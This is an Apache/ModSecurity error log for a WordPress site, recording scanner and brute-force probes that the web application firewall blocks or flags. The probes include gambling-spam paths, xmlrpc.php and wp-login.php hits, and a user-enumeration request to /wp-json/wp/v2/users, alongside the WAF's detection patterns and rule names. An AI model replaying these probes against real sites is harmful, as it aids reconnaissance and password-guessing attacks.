[Wed Apr 22 10:58:09.755196 2026] [:error] [pid 32053:tid 32073] [client 51.75.118.97:53156] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slot1234%20pg.aspx"] [unique_id "aeg5QQzPjXx_ocfbYhtOLQAAA1I"]
[Wed Apr 22 10:58:11.834788 2026] [:error] [pid 32053:tid 32060] [client 51.75.118.97:53158] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "aeg5QwzPjXx_ocfbYhtOMgAAA0U"]
[Wed Apr 22 10:58:13.950679 2026] [:error] [pid 21683:tid 21763] [client 51.75.118.97:53162] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "aeg5RVZBWT-0diZyYybD1QAAAI0"]
[Wed Apr 22 10:58:15.861836 2026] [:error] [pid 21682:tid 21742] [client 51.75.118.97:34128] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "aeg5R5lXWQZUlmPHS3pP5AAAAFM"]
[Wed Apr 22 10:58:17.807704 2026] [:error] [pid 23041:tid 23060] [client 51.75.118.97:34134] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "aeg5SUTXx_lUa7xwAb5PYAAAARA"]
[Wed Apr 22 10:58:19.561903 2026] [:error] [pid 21682:tid 21740] [client 51.75.118.97:34136] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "aeg5S5lXWQZUlmPHS3pP7wAAAFE"]
[Wed Apr 22 10:58:21.488383 2026] [:error] [pid 31756:tid 31808] [client 51.75.118.97:34142] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "aeg5Td_WbkXbHaEfhd0RFQAAAlA"]
[Wed Apr 22 10:58:23.439617 2026] [:error] [pid 31706:tid 31723] [client 51.75.118.97:34144] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "aeg5T7GSe9Rnd4Q_z1ivVAAAAc4"]
[Wed Apr 22 10:58:25.343978 2026] [:error] [pid 21682:tid 21729] [client 51.75.118.97:43840] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "aeg5UZlXWQZUlmPHS3pQBAAAAEY"]
[Wed Apr 22 10:58:27.246429 2026] [:error] [pid 31756:tid 31813] [client 51.75.118.97:43856] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "aeg5U9_WbkXbHaEfhd0RGgAAAlU"]
[Wed Apr 22 10:58:29.162353 2026] [:error] [pid 23041:tid 23068] [client 51.75.118.97:43866] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "aeg5VUTXx_lUa7xwAb5PawAAARg"]
[Wed Apr 22 10:58:31.210820 2026] [:error] [pid 31755:tid 31766] [client 51.75.118.97:43882] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "aeg5Vwz2mYMkg3X8q1vlUQAAAgM"]
[Wed Apr 22 10:59:09.120786 2026] [:error] [pid 32053:tid 32079] [client 51.75.118.97:43884] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "aeg5fQzPjXx_ocfbYhtObgAAA1g"]
[Wed Apr 22 10:59:11.128003 2026] [:error] [pid 31755:tid 31773] [client 51.75.118.97:37046] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "aeg5fwz2mYMkg3X8q1vlqgAAAgo"]
[Wed Apr 22 10:59:13.265893 2026] [:error] [pid 31755:tid 31779] [client 51.75.118.97:37058] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "aeg5gQz2mYMkg3X8q1vlugAAAhA"]
[Wed Apr 22 10:59:15.281051 2026] [:error] [pid 31755:tid 31770] [client 51.75.118.97:48796] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "aeg5gwz2mYMkg3X8q1vlvgAAAgc"]
[Wed Apr 22 10:59:17.309021 2026] [:error] [pid 31756:tid 31792] [client 51.75.118.97:48810] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "aeg5hd_WbkXbHaEfhd0RWAAAAkI"]
[Wed Apr 22 10:59:19.272880 2026] [:error] [pid 31756:tid 31801] [client 51.75.118.97:48812] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "aeg5h9_WbkXbHaEfhd0RXwAAAkk"]
[Wed Apr 22 10:59:21.312710 2026] [:error] [pid 31755:tid 31766] [client 51.75.118.97:48818] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/www%20ufabet%20com.aspx"] [unique_id "aeg5iQz2mYMkg3X8q1vlwgAAAgM"]
[Wed Apr 22 10:59:23.445982 2026] [:error] [pid 23041:tid 23055] [client 51.75.118.97:48822] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xo%20slot.aspx"] [unique_id "aeg5i0TXx_lUa7xwAb5PnQAAAQs"]
[Wed Apr 22 10:59:25.369317 2026] [:error] [pid 23041:tid 23044] [client 51.75.118.97:52528] [client 51.75.118.97] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/yakuza%20slot.aspx"] [unique_id "aeg5jUTXx_lUa7xwAb5PoQAAAQA"]
[Wed Apr 22 11:42:33.334411 2026] [:error] [pid 32053:tid 32071] [client 175.100.107.19:2228] [client 175.100.107.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.100.107.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aehDqQzPjXx_ocfbYhtctgAAA1A"]
[Wed Apr 22 11:46:08.568691 2026] [:error] [pid 31755:tid 31772] [client 175.100.107.19:2229] [client 175.100.107.19] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users"] [unique_id "aehEgAz2mYMkg3X8q1v34gAAAgk"]
[Wed Apr 22 11:46:48.720289 2026] [:error] [pid 31706:tid 31726] [client 175.100.107.19:2230] [client 175.100.107.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.100.107.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aehEqLGSe9Rnd4Q_z1iycAAAAdE"]
[Wed Apr 22 11:47:12.959962 2026] [:error] [pid 23041:tid 23061] [client 175.100.107.19:2231] [client 175.100.107.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.100.107.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aehEwETXx_lUa7xwAb5eDgAAARE"]
[Wed Apr 22 11:47:44.759561 2026] [:error] [pid 31949:tid 31969] [client 175.100.107.19:2232] [client 175.100.107.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.100.107.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aehE4H2WtGZh5JfbMUdl4AAAAxE"]
[Wed Apr 22 11:48:12.242997 2026] [:error] [pid 32053:tid 32075] [client 175.100.107.19:2233] [client 175.100.107.19] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 175.100.107.19, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aehE_AzPjXx_ocfbYhtevgAAA1Q"]
[Wed Apr 22 12:48:48.317686 2026] [autoindex:error] [pid 32053:tid 32073] [client 168.144.47.68:49425] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
[Wed Apr 22 12:48:51.116177 2026] [:error] [pid 32053:tid 32058] [client 168.144.47.68:49538] [client 168.144.47.68] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 168.144.47.68, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aehTMwzPjXx_ocfbYht3WQAAA0M"]
[Wed Apr 22 12:52:55.766887 2026] [:error] [pid 32053:tid 32061] [client 51.79.180.242:50823] [client 51.79.180.242] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp1/wp-admin/install.php"] [unique_id "aehUJwzPjXx_ocfbYht4rAAAA0Y"]
[Wed Apr 22 13:14:22.466904 2026] [:error] [pid 31755:tid 31776] [client 43.135.172.101:56462] [client 43.135.172.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aehZLgz2mYMkg3X8q1sfowAAAg0"]
[Wed Apr 22 14:24:31.372045 2026] [:error] [pid 6250:tid 6277] [client 43.131.253.14:53158] [client 43.131.253.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aehpnw-iZeQkqmQVfj6scwAAAFc"]
[Wed Apr 22 16:47:13.310530 2026] [:error] [pid 6251:tid 6285] [client 138.199.11.179:65159] [client 138.199.11.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.11.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiLESsFAzbyObL-SQ5NBwAAAIA"]
[Wed Apr 22 16:47:23.081057 2026] [:error] [pid 9085:tid 9098] [client 138.199.11.179:28551] [client 138.199.11.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.11.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiLG9-_-or9vQnlWnrNXwAAAUs"]
[Wed Apr 22 16:47:33.553862 2026] [:error] [pid 6252:tid 6322] [client 138.199.11.179:36785] [client 138.199.11.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.11.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiLJetGYuiYb1nWBpQXKAAAAQo"]
[Wed Apr 22 16:47:44.133161 2026] [:error] [pid 9085:tid 9110] [client 138.199.11.179:12237] [client 138.199.11.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.11.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiLMN-_-or9vQnlWnrNggAAAVc"]
[Wed Apr 22 16:47:55.412654 2026] [:error] [pid 6250:tid 6266] [client 138.199.11.179:18887] [client 138.199.11.179] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 138.199.11.179, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiLOw-iZeQkqmQVfj7ONAAAAEw"]
[Wed Apr 22 16:54:15.406902 2026] [:error] [pid 6344:tid 6370] [client 105.127.13.7:29059] [client 105.127.13.7] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 105.127.13.7, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiMt0DOTF-pkQnDeUmiIwAAABU"]
[Wed Apr 22 16:54:26.083692 2026] [:error] [pid 6252:tid 6328] [client 193.187.150.236:25411] [client 193.187.150.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.187.150.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiMwutGYuiYb1nWBpQYTQAAARA"]
[Wed Apr 22 16:54:36.040580 2026] [:error] [pid 6252:tid 6312] [client 193.187.150.236:36655] [client 193.187.150.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.187.150.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiMzOtGYuiYb1nWBpQYZQAAAQA"]
[Wed Apr 22 16:54:46.551614 2026] [:error] [pid 6384:tid 6391] [client 193.187.150.236:20371] [client 193.187.150.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.187.150.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiM1j58M3t15ICeWHXDRwAAAMQ"]
[Wed Apr 22 16:54:57.054029 2026] [:error] [pid 6384:tid 6411] [client 193.187.150.236:58143] [client 193.187.150.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.187.150.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiM4T58M3t15ICeWHXDUwAAANg"]
[Wed Apr 22 16:55:07.567466 2026] [:error] [pid 6384:tid 6407] [client 193.187.150.236:59541] [client 193.187.150.236] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 193.187.150.236, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aeiM6z58M3t15ICeWHXDZQAAANQ"]
[Wed Apr 22 18:02:25.383460 2026] [:error] [pid 6250:tid 6268] [client 45.85.147.218:53448] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20vip.aspx"] [unique_id "aeicsQ-iZeQkqmQVfj7gOgAAAE4"]
[Wed Apr 22 18:02:27.525945 2026] [:error] [pid 6344:tid 6351] [client 45.85.147.218:57972] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "aeics0DOTF-pkQnDeUm3OgAAAAI"]
[Wed Apr 22 18:02:29.626249 2026] [:error] [pid 6252:tid 6327] [client 45.85.147.218:43568] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot.aspx"] [unique_id "aeictetGYuiYb1nWBpQl_QAAAQ8"]
[Wed Apr 22 18:02:31.772576 2026] [:error] [pid 6344:tid 6360] [client 45.85.147.218:43572] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot168.aspx"] [unique_id "aeict0DOTF-pkQnDeUm3SQAAAAs"]
[Wed Apr 22 18:02:33.920249 2026] [:error] [pid 9085:tid 9104] [client 45.85.147.218:43582] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20slot99.aspx"] [unique_id "aeicud-_-or9vQnlWnr0YwAAAVE"]
[Wed Apr 22 18:02:36.238853 2026] [:error] [pid 6344:tid 6357] [client 45.85.147.218:43586] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20soft.aspx"] [unique_id "aeicvEDOTF-pkQnDeUm3UAAAAAg"]
[Wed Apr 22 18:02:38.343299 2026] [:error] [pid 6384:tid 6405] [client 45.85.147.218:55714] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20th.aspx"] [unique_id "aeicvj58M3t15ICeWHXdZAAAANI"]
[Wed Apr 22 18:02:40.372097 2026] [:error] [pid 6384:tid 6390] [client 45.85.147.218:55718] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20thailand.aspx"] [unique_id "aeicwD58M3t15ICeWHXddQAAAMM"]
[Wed Apr 22 18:02:42.329946 2026] [:error] [pid 9085:tid 9105] [client 45.85.147.218:55720] [client 45.85.147.218] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/pg%20wallet.aspx"] [unique_id "aeicwt-_-or9vQnlWnr0pwAAAVI"]
[Wed Apr 22 18:27:06.318485 2026] [:error] [pid 6251:tid 6295] [client 162.241.62.202:48604] [client 162.241.62.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.62.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeiieisFAzbyObL-SQ5lGAAAAIo"]
[Wed Apr 22 18:27:08.638604 2026] [:error] [pid 6251:tid 6307] [client 162.241.62.202:48604] [client 162.241.62.202] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 162.241.62.202, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeiifCsFAzbyObL-SQ5lHAAAAJY"], referer: https://gigfragments.org/wp-login.php
[Wed Apr 22 18:31:48.097830 2026] [:error] [pid 6344:tid 6369] [client 103.74.54.128:46852] [client 103.74.54.128] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.74.54.128, incrementing brute counter"] [hostname "gigfragments.org"] [uri "/wp-login.php"] [unique_id "aeijlEDOTF-pkQnDeUnI4QAAABQ"]
